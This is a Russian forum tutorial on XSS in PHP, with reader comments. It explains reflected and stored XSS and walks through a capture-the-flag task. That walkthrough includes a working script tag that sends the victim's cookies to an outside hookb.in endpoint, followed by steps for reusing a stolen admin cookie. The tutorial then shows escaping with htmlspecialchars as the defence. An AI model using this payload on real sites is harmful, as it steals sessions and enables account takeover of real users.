Статья [1] - Безопасный PHP. Защита от XSS атак.

Всем Салам. Сегодня уже 2 часть из цикла статей безопасный PHP. И эта статья обещает быть информативной, особенно для новичков.

И чтобы было представление о XSS, я разделю статью на 2 части, где в 1ом разберем, что за зверь этот XSS. А во втором рассмотрим, как она эксплуатируется в PHP и как от этого защититься.

[0] – XSS. Что такое?

Cross Site Scripting — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника. А знаете почему не CSS? Правильно, потому что эта аббревиатура занята каскадными стилями.

Вообще XSS делится на 2 типа:
  • Reflected (непостоянные). Давайте разберем этот тип подробнее. Этот тип XSS самый популярный, да и самый часто встречающийся среди всех инъекций. Тип атаки довольно простой, срабатывает и отсутствии фильтрации входных данных, чаще всего через какие-то формы на сайте. Например,
    Код:
    site.ru/search.php?q=<script>alert(‘r0hack’)</script>
    получается, если эта поступающая строка не будет фильтроваться на стороне сервака, то получаем сообщение «r0hack». Ну и что скажете вы, ничего же страшного. А нет, ведь таким образом мы можем украсть куки авторизации пользователя. Давайте для примера разберем 1 таск с рут ми. Хотя ее можно отнести к обоим типам атаки, но в этом примере, можно увидеть, как мы можем стырить куки пользователя, ну и как работают stored тип.

  • Stored (хранимые). В этом случае, мы можем загрузить свой код на сервер и каждый раз при открытии страницы с данным кодом, она запускается и наносит сокрушительный удар, например, как я говорил выше, ворует куки и можем выдать себя за другого пользователя. А теперь давайте разберем таск, про который я писал выше.
Разбирать будем этот таск:
И как видим в задании сказано украсть куки администратора и зайти с их помощью.
И дали простенький форум, где можем отправлять сообщения. Ну тут сразу можно понять, что сообщение нужно отправить скрипт, при клике на который мы получим куки. Специально для такие целей мы можно использовать, например сайт где она формирует ссылку, и при переходе по которому крадет данные заголовков, куки и все такое. Давайте так и сделаем, и замаскируем наше сообщение под фотографию и отправим.
1.jpg

Здесь формируем, такой скрипт для отправки:
Код:
<script>document.write("<img src='https://hookb.in/Z8a74azD?cook="+document.cookie+"'></img>")</script>
2.jpg


После чего отправляем, и когда админом страница будет открыта, мы получаем куки:
3.jpg


И если эти данные мы подставим в куки, то статус посетителя поменяется на Admin.

5.jpg
4.jpg


На этом про XSS говорить закончим, если что-то непонятно спрашивайте или гуглите, инфы много.

[1] – Эксплуатация XSS уязвимостей в PHP

Давайте сразу перейдем к практике и посмотрим, при каком случае, XSS атака может сработать.
У нас имеется такой кусок кода, который не экранирует исходящие данные:
PHP:
$query = $_GET['query'] ?? 0;
echo 'Найдено: '. $query;
И как вы видите, в данном случае наш скрипт срабатывает.
6.jpg


[2] – Как обезопасить PHP от XSS

И как закрыть эксплуатацию данной уязвимости, предельно просто все это делается, это просто экранируем:
PHP:
$query = $_GET['query'] ?? 0;
$query = htmlspecialchars($query, ENT_QUOTES);
echo 'Найдено: '. $query;
7.jpg


И наш скрипт мы получаем, как обычный текст, благодаря htmlspecialchars, ENT_QUOTES - преобразует как двойные, так и одинарные кавычки. И будет вам счастье.

Ну для примера, еще какой-нибудь немецкий сайт:
8.jpg


На этом с XSS закончу. Надеюсь получилось не плохо. Вопросы пишите в комментах. Спасибо.
 
Последнее редактирование модератором:
P

PenGenKiddy

XSS - тема намного обширнее, чем вы думаете... К примеру есть XSS при переадресации, о которых не было и слова
 
  • Нравится
Реакции: IioS и newbiee

r0hack

DAG
Platinum
29.09.2017
522
1 089
BIT
0
XSS - тема намного обширнее, чем вы думаете...
Полностью с вами согласен, по XSS можно расписать небольшую книгу. Но в данном случае, я рассматриваю тематику чуть узже, т.е. как экранировать, чтобы не допустить этого. Ну и приводить все возможные варианты XSS не совсем обязательно.
 
Последнее редактирование:

rink0

Green Team
28.11.2017
62
65
BIT
0
Полностью с вами согласен, по XSS можно расписать небольшую книгу. Но в данном случае, я рассматриваю тематику чуть узже, т.е. как экранировать, чтобы не допустить этого. Ну и приводить все возможные варианты XSS не совсем обязательно.
аааа цвета в командах для тёмной темы это ад
синий на чёрном очень плохо смотрится
 

quasar

One Level
05.01.2018
6
1
BIT
0
А что лучше использовать htmlspecialchars или strip_tags или вместе их объединить?

Вот так пойдет?
function clearString($str){
return trim(htmlspecialchars(strip_tags($str)));
}
 
Последнее редактирование:

r0hack

DAG
Platinum
29.09.2017
522
1 089
BIT
0
А что лучше использовать htmlspecialchars или strip_tags или вместе их объединить?
Они предназначены для разных целей, вместе их использовать не имеет никакого смысла. Например, если мне нужны теги, а используя стрипс, они тупо удаляются...
Прочитайте подробнее, внимательнее и поймете:

 
  • Нравится
Реакции: quasar
P

p0stman

Привет! Если я правльно понял, то XSS в основном создается с помощью js или я не прав? То есть хотелось бы понять, что конкретно погрузиться в сферу xss, то следует упор делать на js или что мсье посоветует?
 

r0hack

DAG
Platinum
29.09.2017
522
1 089
BIT
0
Привет! Если я правльно понял, то XSS в основном создается с помощью js или я не прав? То есть хотелось бы понять, что конкретно погрузиться в сферу xss, то следует упор делать на js или что мсье посоветует?
Да, вы правы. ~90% успеха - это JS.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!